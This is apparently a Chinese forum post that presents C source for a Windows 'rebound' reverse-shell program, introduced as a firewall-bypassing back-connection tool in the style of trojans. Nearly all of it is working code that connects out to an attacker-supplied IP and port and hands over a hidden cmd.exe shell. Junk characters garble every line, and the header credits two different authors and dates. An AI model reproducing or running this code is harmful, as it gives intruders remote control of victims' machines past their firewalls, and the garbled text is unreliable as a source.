这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 *siFj
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/* ============================== c-FcEW
Rebound port in Windows NT Ef13Q]9|
By wind,2006/7 &UlWCOo8
===============================*/ Yk Qd
#include eO[b1]WLP
#include (0kK_k'T
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#pragma comment(lib,"wsock32.lib") 2gVm9gAHUd
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void OutputShell(); t#eTV@-
SOCKET sClient; Hl
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 3%=~)7cF
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void main(int argc,char **argv) tcog'nAz
{ }?v )N).kW
WSADATA stWsaData; )IZ~G\Ra'
int nRet; 2Q:+_v
SOCKADDR_IN stSaiClient,stSaiServer; k~FRD?[u
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if(argc != 3) pIKPXqA
{ F`]2O:[
printf("Useage:\n\rRebound DestIP DestPort\n"); !brf(-sr)
return; t}/( b/VD
} x`)&J
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WSAStartup(MAKEWORD(2,2),&stWsaData); I?G: p+
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P\)iZiGc
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stSaiClient.sin_family = AF_INET; fw{gx
stSaiClient.sin_port = htons(0); Q6I:"2u1
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); :tv,]05t
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) | (_
{ 1|-Dj|
printf("Bind Socket Failed!\n"); 8E]F$.6U
return; RhLVg~x
} ZO c)
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stSaiServer.sin_family = AF_INET; UN<]N76!
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); cDH^\-z
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); l0A&9g*l2
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) hODWB&b
{ /J6rv((
printf("Connect Error!"); AbmAKA@
return; EG |A_m85
} wz ~d(a#
OutputShell(); sYf~c0${
} G{%L B}2
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void OutputShell() y:qUn!3
{ w}cPs{Vi"
char szBuff[1024]; V[vl!XM
SECURITY_ATTRIBUTES stSecurityAttributes; K~uq,~
OSVERSIONINFO stOsversionInfo; ,',o'2=!
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; =
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STARTUPINFO stStartupInfo; {o`]I>gb
char *szShell; i5,kd~%O
PROCESS_INFORMATION stProcessInformation; y>e.~5;
unsigned long lBytesRead; 9j:"J` '
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); \&gB)czEO
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (n9gkO&8"
stSecurityAttributes.lpSecurityDescriptor = 0;
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stSecurityAttributes.bInheritHandle = TRUE; 03S]8l
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); K?$^@N
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); >>fH{/l
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "d5n \@[t
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?o#%Xs
stStartupInfo.wShowWindow = SW_HIDE; o"R7,N0rB
stStartupInfo.hStdInput = hReadPipe; LW_f
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ?R.j^S^
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GetVersionEx(&stOsversionInfo); qVwIo.g!
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switch(stOsversionInfo.dwPlatformId) A#'8X w|
{ ^\&e:Nkh
case 1: _&ks1cw
szShell = "command.com"; PGV/ h
break; CooQ>f
default: ^iw'^6~
szShell = "cmd.exe"; ,0HRAmG
break; F,)%?<!I
} j*TYoH1
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 7 X'u6$i
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send(sClient,szMsg,77,0); k%QpegN
while(1) dP]\Jo=Yh
{ D#JL!A%O
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); >{J(>B\
if(lBytesRead) s'J:f$flS
{ g:Xhw$x9
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); AvV|(K"
send(sClient,szBuff,lBytesRead,0); 6h,(wo3Y
} RMWHN:9
else e@*
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{ 74k dsgQf
lBytesRead=recv(sClient,szBuff,1024,0); !fR3(=oN
if(lBytesRead<=0) break; 3Xy-r=N. l
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); en*GM}<V
} oij}'|/Jc
}
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return; @wo(tf=@P
}